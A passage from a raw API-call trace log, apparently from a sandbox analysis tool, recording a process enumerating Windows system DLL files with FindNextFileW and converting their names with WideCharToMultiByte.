ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x1efc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="console.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x1efc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0261.053] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0261.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x1efc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.054] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.055] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.056] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, 